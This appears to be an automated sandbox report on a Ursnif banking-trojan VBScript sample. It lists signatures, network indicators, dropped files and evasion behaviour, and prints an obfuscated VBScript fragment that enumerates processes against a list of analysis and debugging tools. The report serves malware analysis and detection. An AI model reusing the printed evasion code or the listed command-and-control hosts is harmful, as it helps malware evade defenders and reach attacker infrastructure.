Analysis Report attach_12.12.2020-4570.vbs

Overview

General Information

Sample Name: attach_12.12.2020-4570.vbs
Analysis ID: 330430
MD5: f32557ed329503fac0bf315e4dd49a19
SHA1: 852ed7bbaf2194b79f4acbc971f9f65fb52ef5fb
SHA256: 40b30d76c89557b0a3c59dab61726f0514202cd6760a26e7d2722bcee462bfbf

Most interesting Screenshot:

Detection

Ursnif
Score: 96
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Benign windows process drops PE files
Multi AV Scanner detection for submitted file
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected Ursnif
Creates processes via WMI
Deletes itself after installation
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
WScript reads language and country specific registry keys (likely country aware script)
AV process strings found (often used to terminate AV products)
Contains capabilities to detect virtual machines
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device

Classification

AV Detection:

barindex
Multi AV Scanner detection for submitted file
Source: attach_12.12.2020-4570.vbs Virustotal: Detection: 24% Perma Link
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local\Temp Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Documents\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local Jump to behavior

Networking:

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IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 88.99.66.31 88.99.66.31
Source: Joe Sandbox View IP Address: 88.99.66.31 88.99.66.31
Source: Joe Sandbox View IP Address: 47.241.19.44 47.241.19.44
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: ce5f3254611a8c095a3d821d44539877
Source: global traffic HTTP traffic detected: GET /api1/SiXXDEY8/DymoFuqRTM5804vezWS2VRz/lB1JNXfT7v/SXOQPNWY58uhmU2LS/ZsNv1dDQJ456/Mu6Te_2FHsV/eNDunFhZlDIcIC/J1g3aMt9Nb_2FlRJqw4Li/dEyBd7JFKosGNHrP/FR7GWgofr4bpyWm/jXpb7LTZnU7ZcIM4RF/E2EbYys_2/BVceSLr9iBS7D0quHXAf/VlMzOoG4ARuaEUhlaxt/tPAWXkHmWI21zOQvyd3z9g/mj42TaP0aEJWJ/5JxOgtv5/JR_0A_0Dooq_2FmMow6MDgZ/jLnv9D8dM0/mbIQG7M783PO4Eg3_/2FtuAUSBrChb/WNA5RcatpZV/BRyqw7S HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: golang.feel500.atConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: golang.feel500.atConnection: Keep-Alive
Source: msapplication.xml0.24.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x12f3c910,0x01d6d2ae</date><accdate>0x12f3c910,0x01d6d2ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml0.24.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.facebook.com/"/><date>0x12f3c910,0x01d6d2ae</date><accdate>0x12f3c910,0x01d6d2ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Facebook.url"/></tile></msapplication></browserconfig> equals www.facebook.com (Facebook)
Source: msapplication.xml5.24.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x12f88d94,0x01d6d2ae</date><accdate>0x12f88d94,0x01d6d2ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml5.24.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.twitter.com/"/><date>0x12f88d94,0x01d6d2ae</date><accdate>0x12f88d94,0x01d6d2ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Twitter.url"/></tile></msapplication></browserconfig> equals www.twitter.com (Twitter)
Source: msapplication.xml7.24.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x12faefe1,0x01d6d2ae</date><accdate>0x12faefe1,0x01d6d2ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: msapplication.xml7.24.dr String found in binary or memory: <browserconfig><msapplication><config><site src="http://www.youtube.com/"/><date>0x12faefe1,0x01d6d2ae</date><accdate>0x12faefe1,0x01d6d2ae</accdate></config><tile><wide310x150logo/><square310x310logo/><square70x70logo/><favorite src="C:\Users\user\Favorites\Youtube.url"/></tile></msapplication></browserconfig> equals www.youtube.com (Youtube)
Source: unknown DNS traffic detected: queries for: yip.su
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 14 Dec 2020 21:46:24 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
Source: wscript.exe, 00000000.00000003.265314459.000001E97CFC9000.00000004.00000001.sdmp String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: wscript.exe, 00000000.00000003.265314459.000001E97CFC9000.00000004.00000001.sdmp String found in binary or memory: http://cert.int-x3.letsencrypt.org/0
Source: wscript.exe, 00000000.00000003.265314459.000001E97CFC9000.00000004.00000001.sdmp String found in binary or memory: http://cps.letsencrypt.org0
Source: wscript.exe, 00000000.00000003.265314459.000001E97CFC9000.00000004.00000001.sdmp String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: wscript.exe, 00000000.00000003.265314459.000001E97CFC9000.00000004.00000001.sdmp String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: {3CE1DE69-3EA1-11EB-90E4-ECF4BB862DED}.dat.24.dr, ~DF0C08EFA087ABAB68.TMP.24.dr String found in binary or memory: http://golang.feel500.at/api1/SiXXDEY8/DymoFuqRTM5804vezWS2VRz/lB1JNXfT7v/SXOQPNWY58uhmU2LS/ZsNv1dDQ
Source: wscript.exe, 00000000.00000003.265314459.000001E97CFC9000.00000004.00000001.sdmp String found in binary or memory: http://isrg.trustid.ocsp.identrust.com0;
Source: wscript.exe, 00000000.00000003.265314459.000001E97CFC9000.00000004.00000001.sdmp String found in binary or memory: http://ocsp.int-x3.letsencrypt.org0/
Source: msapplication.xml.24.dr String found in binary or memory: http://www.amazon.com/
Source: msapplication.xml1.24.dr String found in binary or memory: http://www.google.com/
Source: msapplication.xml2.24.dr String found in binary or memory: http://www.live.com/
Source: msapplication.xml3.24.dr String found in binary or memory: http://www.nytimes.com/
Source: msapplication.xml4.24.dr String found in binary or memory: http://www.reddit.com/
Source: msapplication.xml5.24.dr String found in binary or memory: http://www.twitter.com/
Source: msapplication.xml6.24.dr String found in binary or memory: http://www.wikipedia.com/
Source: msapplication.xml7.24.dr String found in binary or memory: http://www.youtube.com/
Source: wscript.exe, 00000000.00000003.259056830.000001E97B963000.00000004.00000001.sdmp, wscript.exe, 00000000.00000003.283844962.000001E97B951000.00000004.00000001.sdmp, wscript.exe, 00000000.00000003.258987745.000001E97B950000.00000004.00000001.sdmp String found in binary or memory: https://ezstat.ru/1DpE37
Source: wscript.exe, 00000000.00000003.282269991.000001E97B98A000.00000004.00000001.sdmp, wscript.exe, 00000000.00000003.259056830.000001E97B963000.00000004.00000001.sdmp String found in binary or memory: https://iplogger.com/1DdE37
Source: wscript.exe, 00000000.00000003.283844962.000001E97B951000.00000004.00000001.sdmp, wscript.exe, 00000000.00000003.283445063.000001E900770000.00000004.00000001.sdmp String found in binary or memory: https://yip.su/1DiE37
Source: wscript.exe, 00000000.00000003.257991365.000001E97F5A8000.00000004.00000001.sdmp String found in binary or memory: https://yip.su/1DiE370)
Source: wscript.exe, 00000000.00000003.257991365.000001E97F5A8000.00000004.00000001.sdmp String found in binary or memory: https://yip.su/ta
Source: wscript.exe, 00000000.00000003.257543744.000001E97D34C000.00000004.00000001.sdmp String found in binary or memory: https://yip.su/v
Source: unknown Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49724

Key, Mouse, Clipboard, Microphone and Screen Capturing:

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Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.363949393.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363973490.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363868839.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363828372.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363793601.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.375177538.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363915717.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363991064.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363760617.00000000056D8000.00000004.00000040.sdmp, type: MEMORY

E-Banking Fraud:

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Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.363949393.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363973490.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363868839.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363828372.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363793601.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.375177538.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363915717.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363991064.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363760617.00000000056D8000.00000004.00000040.sdmp, type: MEMORY

System Summary:

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Java / VBScript file with very long strings (likely obfuscated code)
Source: attach_12.12.2020-4570.vbs Initial sample: Strings found which are bigger than 50
Source: metamorphose.xz.0.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: classification engine Classification label: mal96.troj.evad.winVBS@4/43@2/2
Source: C:\Program Files\internet explorer\iexplore.exe File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High Jump to behavior
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\adobe.url Jump to behavior
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\attach_12.12.2020-4570.vbs'
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Process
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Windows\System32\wscript.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Windows\System32\wscript.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\wscript.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: attach_12.12.2020-4570.vbs Virustotal: Detection: 24%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\attach_12.12.2020-4570.vbs'
Source: unknown Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: unknown Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2576 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2576 CREDAT:17410 /prefetch:2 Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: attach_12.12.2020-4570.vbs Static file information: File size 1313783 > 1048576
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll Jump to behavior
Source: Binary string: c:\colorEarth\energySend\RiseRide\SisterFlower\waveBear\Product.pdb source: wscript.exe, 00000000.00000003.256867080.000001E97F496000.00000004.00000001.sdmp, metamorphose.xz.0.dr

Data Obfuscation:

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VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.ScriptName, cStr(559472789)) > 0 And dust = 0) ThenREM ha Seward harm. access pearlstone brookside dove woodyard renovate Siamese messianic cotta spectrograph caveat shaven Exit FunctionREM koala tangle. schoolmarm paprika jibe enumerate deaconess parameter. now284 memorial oligarchic aspen insensible Injun711 End IfvoZIehjd = (((88 - 34.0) + (-(14 - 5.0))) - 45.0)ziLKM = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe","fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe","sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe","sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","procanalyzer.exe","spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe","idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe","bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe","sython.exe","capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe","taslogin.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe","tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe","totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe","raptorclient.exe","txplatform.exe","dnf.exe","lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe","vx.exe","dumpcap.exe","lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe","ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe","fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe","Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")Set nobleman = GetObject("winmgmts:\\.\root\cimv2")Set CunardlItems = nobleman.ExecQuery("Select * from Win32_Process")REM plastron showmen Fitchburg tailgate cheesy inductor cloak registry requisition, laboratory telepathic. For Each gfqQPu In CunardlItemsvoZIehjd = voZIehjd + 1For Each Vhkskuq In ziLKMIf gfqQPu.Name = Vhkskuq ThenYAOiIY' mandatory patristic spherule Kant wrathful insensible790 concede Aegean inoperable never cultivate avionic woodwind flow
Source: initial sample Static PE information: section name: .text entropy: 6.87960232272

Persistence and Installation Behavior:

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Creates processes via WMI
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Drops PE files
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\metamorphose.xz Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\System32\wscript.exe File created: C:\Users\user\AppData\Local\Temp\metamorphose.xz Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

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Yara detected Ursnif
Source: Yara match File source: 00000004.00000003.363949393.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363973490.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363868839.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363828372.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363793601.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.375177538.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363915717.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363991064.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.363760617.00000000056D8000.00000004.00000040.sdmp, type: MEMORY
Deletes itself after installation
Source: C:\Windows\System32\wscript.exe File deleted: c:\users\user\desktop\attach_12.12.2020-4570.vbs Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Windows\System32\wscript.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

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Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: AUTORUNSC.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: EMUL.EXE
Source: wscript.exe, 00000000.00000003.259099556.000001E97B986000.00000004.00000001.sdmp Binary or memory string: SBIECTRL.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: APISPY.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: $FAKEHTTPSERVER.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: REGMON.EXEIK
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: WINDBG.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: SBIESVC.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: SCKTOOL.EXE;HQ
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: IDAQ.EXET
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: IMPORTREC.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: IMUL.EXE.8
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: WINDUMP.EXE
Source: wscript.exe, 00000000.00000003.259099556.000001E97B986000.00000004.00000001.sdmp Binary or memory string: Q?$SANDBOXIERPCSS.EXEV5
Source: wscript.exe, 00000000.00000003.259099556.000001E97B986000.00000004.00000001.sdmp Binary or memory string: :FRIDA-WINJECTOR-HELPER-32.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: PEID.EXE#Z
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: SYSANALYZER.EXEA
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: PETOOLS.EXEJ
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: PROCMON.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: OLLYDBG.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: HOOKEXPLORER.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: NETSNIFFER.EXEK
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: AUTORUNS.EXE@
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: HOOKANAAPP.EXE
Source: wscript.exe, 00000000.00000003.259099556.000001E97B986000.00000004.00000001.sdmp Binary or memory string: :FRIDA-WINJECTOR-HELPER-64.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: TCPDUMP.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: FILEMON.EXET
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: U.SANDBOXIEDCOMLAUNCH.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: A9$BEHAVIORDUMPER.EXEQ
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: IDAG.EXE:V
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: REGSHOT.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: DUMPCAP.EXE
Source: wscript.exe, 00000000.00000003.258949647.000001E97B987000.00000004.00000001.sdmp Binary or memory string: WIRESHARK.EXE
Source: wscript.exe, 00000000.00000003.259099556.000001E97B986000.00000004.00000001.sdmp Binary or memory string: FORTITRACER.EXEA
WScript reads language and country specific registry keys (likely country aware script)
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_CURRENT_USER\Control Panel\International\Geo Nation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_CURRENT_USER\Control Panel\International\Geo Nation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_CURRENT_USER\Control Panel\International\Geo Nation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_CURRENT_USER\Control Panel\International\Geo Nation Jump to behavior
Contains capabilities to detect virtual machines
Source: C:\Windows\System32\wscript.exe File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b} Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\System32\wscript.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\metamorphose.xz Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\wscript.exe TID: 5788 Thread sleep time: -30000s >= -30000s Jump to behavior
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Windows\System32\wscript.exe File Volume queried: C:\Users\user\AppData\Local FullSizeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local\Temp Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\Documents\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe File opened: C:\Users\user\AppData\Local Jump to behavior
Source: wscript.exe, 00000000.00000002.284331236.000001E900630000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: wscript.exe, 00000000.00000003.258012201.000001E97F5C9000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000002.284331236.000001E900630000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: wscript.exe, 00000000.00000002.284331236.000001E900630000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: wscript.exe, 00000000.00000003.256825277.000001E97F456000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAWa
Source: wscript.exe, 00000000.00000002.284331236.000001E900630000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

HIPS / PFW / Operating System Protection Evasion:

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Benign windows process drops PE files
Source: C:\Windows\System32\wscript.exe File created: metamorphose.xz.0.dr Jump to dropped file
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\System32\wscript.exe Network Connect: 88.99.66.31 187 Jump to behavior

Language, Device and Operating System Detection:

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Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\krypton.zip VolumeInformation Jump to behavior
